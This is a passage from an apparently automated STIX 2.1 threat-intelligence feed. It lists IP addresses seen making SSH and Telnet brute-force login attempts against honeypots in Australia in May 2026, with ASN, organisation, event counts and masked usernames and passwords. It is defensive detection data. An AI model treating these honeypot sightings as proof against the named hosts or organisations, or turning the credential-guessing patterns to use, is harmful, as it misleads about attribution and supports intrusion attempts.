      "id": "indicator--268be8dd-1990-49d3-9af1-b1ef82b1553b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T07:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '14.34.157.138']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T07:15:06.000Z",
      "valid_until": "2026-06-23T07:15:03.000Z"
    },
    {
      "created": "2026-05-22T07:15:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: VE. ASN(s): 27889. Organisation(s): Telecomunicaciones MOVILNET.",
      "id": "indicator--99eb4fb6-e765-4196-a72b-ae4468578911",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T07:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '201.238.0.127']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T07:15:06.000Z",
      "valid_until": "2026-06-23T07:15:03.000Z"
    },
    {
      "created": "2026-05-22T07:15:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: VE. ASN(s): 27889. Organisation(s): Telecomunicaciones MOVILNET.",
      "id": "indicator--3af5baa2-fa37-44ff-b8c8-dd3292b99c2a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T07:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '201.238.35.102']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T07:15:06.000Z",
      "valid_until": "2026-06-23T07:15:03.000Z"
    },
    {
      "created": "2026-05-22T07:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: RU. ASN(s): 196695. Organisation(s): NetOne Rus JSC.",
      "id": "indicator--db618bbe-f0f6-4b6e-bd91-b7265fde45d3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T07:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '217.28.132.36']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T07:15:06.000Z",
      "valid_until": "2026-06-23T07:15:03.000Z"
    },
    {
      "created": "2026-05-22T07:15:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: DE. ASN(s): 3320. Organisation(s): Deutsche Telekom AG.",
      "id": "indicator--b0045276-31f1-477d-86c3-c602413ce700",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T07:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '79.208.179.44']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T07:15:06.000Z",
      "valid_until": "2026-06-23T07:15:03.000Z"
    },
    {
      "created": "2026-05-22T08:15:36.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 195. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 135383. Organisation(s): Cloudware Technologies Private Limited. Usernames observed (masked): r**t, 3**********4, s***m, t***1, f*******c. Passwords observed (masked): 3***********4, 3**********4, 0******1, 1****3, 1******8.",
      "id": "indicator--89d83c5a-63dd-4f8d-b484-f716e15f7f7d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T08:15:36.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.255.65.6']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T08:15:36.000Z",
      "valid_until": "2026-06-23T08:15:08.000Z"
    },
    {
      "created": "2026-05-22T08:15:36.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--e26249d7-e3fd-4ccd-8ef8-28387b45c1cf",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T08:15:36.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '111.173.159.150']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T08:15:36.000Z",
      "valid_until": "2026-06-23T08:15:08.000Z"
    },
    {
      "created": "2026-05-22T08:15:36.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 125. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: MY. ASN(s): 4788. Organisation(s): TM TECHNOLOGY SERVICES SDN. BHD.. Usernames observed (masked): s***m, t***1, 3**********4, a***n, o****7. Passwords observed (masked): 0******1, 1***5, 1******8, 1*****a, 3***********4.",
      "id": "indicator--60d7378c-8f46-4ee7-b32a-f7500ed438f5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T08:15:36.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '115.135.232.127']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T08:15:36.000Z",
      "valid_until": "2026-06-23T08:15:08.000Z"
    },
    {
      "created": "2026-05-22T08:15:36.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--56b4db33-e94b-4a3f-9f4e-63926c52bd60",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T08:15:36.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '115.211.142.235']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T08:15:36.000Z",
      "valid_until": "2026-06-23T08:15:08.000Z"
    },
    {
      "created": "2026-05-22T08:15:36.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: PH. ASN(s): 132199. Organisation(s): Globe Telecom Inc..",
      "id": "indicator--579ecc5b-3c5a-4ac3-bc69-32c3bb2c7ecd",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T08:15:36.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '120.28.201.138']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T08:15:36.000Z",
      "valid_until": "2026-06-23T08:15:08.000Z"
    },
    {
      "created": "2026-05-22T08:15:36.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--4217edf5-0e71-472f-ae49-1570706e3904",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T08:15:36.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '121.56.198.201']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T08:15:36.000Z",
      "valid_until": "2026-06-23T08:15:08.000Z"
    },
    {
      "created": "2026-05-22T08:15:36.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--471c1fff-a712-4824-8788-ff6d006b7714",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T08:15:36.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '125.112.138.124']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T08:15:36.000Z",
      "valid_until": "2026-06-23T08:15:08.000Z"
    },
    {
      "created": "2026-05-22T08:15:36.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TH. ASN(s): 23969. Organisation(s): TOT Public Company Limited.",
      "id": "indicator--532ad249-73bc-434f-9d87-99ec26cdf5a6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T08:15:36.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '125.24.71.66']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T08:15:36.000Z",
      "valid_until": "2026-06-23T08:15:08.000Z"
    },
    {
      "created": "2026-05-22T08:15:36.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: CO. ASN(s): 10299. Organisation(s): EMPRESAS MUNICIPALES DE CALI E.I.C.E. E.S.P..",
      "id": "indicator--dbf5f374-6f63-45ee-97ab-12c52d9e3226",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T08:15:36.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '190.99.186.46']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T08:15:36.000Z",
      "valid_until": "2026-06-23T08:15:08.000Z"
    },
    {
      "created": "2026-05-22T08:15:36.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CA. ASN(s): 852. Organisation(s): TELUS Communications.",
      "id": "indicator--a131ee25-5f8e-405a-89c3-209766125366",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T08:15:36.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '23.17.35.68']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T08:15:36.000Z",
      "valid_until": "2026-06-23T08:15:08.000Z"
    },
    {
      "created": "2026-05-22T08:15:36.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 70. Sensors involved: Cowrie. Target ports: 23. Source country: BE. ASN(s): 396982. Organisation(s): Google LLC. Usernames observed (masked): **, G************1, O*********************************0, U*************************************************************************************************************************6. Passwords observed (masked): **, A*******************p, C********2, H**********************3.",
      "id": "indicator--8873fe24-45b9-4dad-ad44-23909b4699e4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T08:15:36.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '34.34.140.70']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T08:15:36.000Z",
      "valid_until": "2026-06-23T08:15:08.000Z"
    },
    {
      "created": "2026-05-22T08:15:36.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 73. Sensors involved: Cowrie. Target ports: 23. Source country: BE. ASN(s): 396982. Organisation(s): Google LLC. Usernames observed (masked): **, G************1, O*********************************0, U*************************************************************************************************************************6. Passwords observed (masked): **, A*******************p, C********6, H**********************3.",
      "id": "indicator--b9aa13b2-5832-4a00-9fdb-83867796683f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T08:15:36.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '34.76.199.55']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T08:15:36.000Z",
      "valid_until": "2026-06-23T08:15:08.000Z"
    },
    {
      "created": "2026-05-22T08:15:36.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 10. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BE. ASN(s): 396982. Organisation(s): Google LLC. Usernames observed (masked): a***n. Passwords observed (masked): a***n, p******d.",
      "id": "indicator--30129733-ace5-4022-9059-a9fb47ac042e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T08:15:36.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '34.78.140.132']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T08:15:36.000Z",
      "valid_until": "2026-06-23T08:15:08.000Z"
    },
    {
      "created": "2026-05-22T08:15:36.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 7. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BE. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--330ffe34-f3fd-4849-8741-fbdb2c7a411a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T08:15:36.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '34.78.59.113']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T08:15:36.000Z",
      "valid_until": "2026-06-23T08:15:08.000Z"
    },
    {
      "created": "2026-05-22T08:15:36.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: RU. ASN(s): 12389. Organisation(s): Rostelecom.",
      "id": "indicator--7deb9f55-493d-486e-8448-2dd7bdbcf268",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T08:15:36.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '5.139.231.249']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T08:15:36.000Z",
      "valid_until": "2026-06-23T08:15:08.000Z"
    },
    {
      "created": "2026-05-22T08:15:36.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 23. Source country: JP. ASN(s): 45102. Organisation(s): Alibaba US Technology Co., Ltd.. Usernames observed (masked): a***n. Passwords observed (masked): a***n.",
      "id": "indicator--97f1f511-a977-47e1-bc80-ffaad7130023",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T08:15:36.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '8.209.236.13']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T08:15:36.000Z",
      "valid_until": "2026-06-23T08:15:08.000Z"
    },
    {
      "created": "2026-05-22T09:15:19.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 15. Sensors involved: Cowrie. Target ports: 23. Source country: LU. ASN(s): 214472. Organisation(s): Offshore LC. Usernames observed (masked): r**t. Passwords observed (masked): , r**t.",
      "id": "indicator--1666b1d7-c794-4977-b2c7-1600a8136d18",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T09:15:19.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '176.65.139.99']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T09:15:19.000Z",
      "valid_until": "2026-06-23T09:15:03.000Z"
    },
    {
      "created": "2026-05-22T09:15:19.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: RO. ASN(s): 33977. Organisation(s): Banat Telecom Satelit S.R.L..",
      "id": "indicator--189d1c4d-f318-4f10-acb9-57436ae8dc9d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T09:15:19.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '185.244.110.50']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T09:15:19.000Z",
      "valid_until": "2026-06-23T09:15:03.000Z"
    },
    {
      "created": "2026-05-22T09:15:19.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 215125. Organisation(s): Church of Cyberology. Usernames observed (masked): s********t. Passwords observed (masked): z*******r.",
      "id": "indicator--b1736984-db77-4eee-aacf-cf392fe1b0d7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T09:15:19.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '192.42.116.16']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T09:15:19.000Z",
      "valid_until": "2026-06-23T09:15:03.000Z"
    },
    {
      "created": "2026-05-22T09:15:19.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 73. Sensors involved: Cowrie. Target ports: 23. Source country: BE. ASN(s): 396982. Organisation(s): Google LLC. Usernames observed (masked): **, G************1, O*********************************0, U*************************************************************************************************************************6. Passwords observed (masked): **, A*******************p, C********2, H**********************3.",
      "id": "indicator--ff348bdd-43c0-4e6e-b651-04fa56579429",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T09:15:19.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '34.62.248.198']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T09:15:19.000Z",
      "valid_until": "2026-06-23T09:15:03.000Z"
    },
    {
      "created": "2026-05-22T09:15:19.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 7018. Organisation(s): AT&T Enterprises, LLC.",
      "id": "indicator--3caa2fe4-3ef8-471e-ae7e-dca0d6b71d91",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T09:15:19.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '75.3.252.21']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T09:15:19.000Z",
      "valid_until": "2026-06-23T09:15:03.000Z"
    },
    {
      "created": "2026-05-22T10:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 137172. Organisation(s): ALL CONNECT NETWORK SERVICES PRIVATE LIMITED.",
      "id": "indicator--00fbc849-9ee1-4d51-b574-cf9f2785a7e9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T10:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.112.214.118']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T10:15:13.000Z",
      "valid_until": "2026-06-23T10:15:03.000Z"
    },
    {
      "created": "2026-05-22T10:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: ZA. ASN(s): 37457. Organisation(s): Telkom-Internet.",
      "id": "indicator--1d884fa9-1a08-4ab2-a7b4-895506d2301a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T10:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '105.184.69.193']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T10:15:13.000Z",
      "valid_until": "2026-06-23T10:15:03.000Z"
    },
    {
      "created": "2026-05-22T10:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: ZA. ASN(s): 37457. Organisation(s): Telkom-Internet.",
      "id": "indicator--9ad781bd-8fde-443c-8c42-039252551fec",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T10:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '105.224.118.144']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T10:15:13.000Z",
      "valid_until": "2026-06-23T10:15:03.000Z"
    },
    {
      "created": "2026-05-22T10:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--c066d76f-c5e3-4b76-b055-aba232586c06",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T10:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '106.56.81.165']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T10:15:13.000Z",
      "valid_until": "2026-06-23T10:15:03.000Z"
    },
    {
      "created": "2026-05-22T10:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--8a3b3224-a0a1-4b56-a9ae-9c7dbb2d9d32",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T10:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '111.126.82.8']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T10:15:13.000Z",
      "valid_until": "2026-06-23T10:15:03.000Z"
    },
    {
      "created": "2026-05-22T10:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 26. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 141679. Organisation(s): China Telecom Beijing Tianjin Hebei Big Data Industry Park Branch. Usernames observed (masked): r**t. Passwords observed (masked): P**********$, Q**********#.",
      "id": "indicator--dea0d86c-2a3e-429b-8638-5826204b9578",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T10:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '111.228.33.68']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T10:15:13.000Z",
      "valid_until": "2026-06-23T10:15:03.000Z"
    },
    {
      "created": "2026-05-22T10:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--22025b80-7c63-4312-8cd4-31ab87d121ae",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T10:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '112.113.108.121']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T10:15:13.000Z",
      "valid_until": "2026-06-23T10:15:03.000Z"
    },
    {
      "created": "2026-05-22T10:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--661b1bde-c30c-48da-8bcc-0536e780cdb2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T10:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '113.221.79.18']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T10:15:13.000Z",
      "valid_until": "2026-06-23T10:15:03.000Z"
    },
    {
      "created": "2026-05-22T10:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--b5700129-9d3d-4f99-a05d-748c14a76a33",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T10:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '114.220.209.54']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T10:15:13.000Z",
      "valid_until": "2026-06-23T10:15:03.000Z"
    },
    {
      "created": "2026-05-22T10:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 7. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--738fc968-f324-4bd8-ad2e-3a3c4b2aa91d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T10:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '114.227.48.189']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T10:15:13.000Z",
      "valid_until": "2026-06-23T10:15:03.000Z"
    },
    {
      "created": "2026-05-22T10:15:13.000Z",
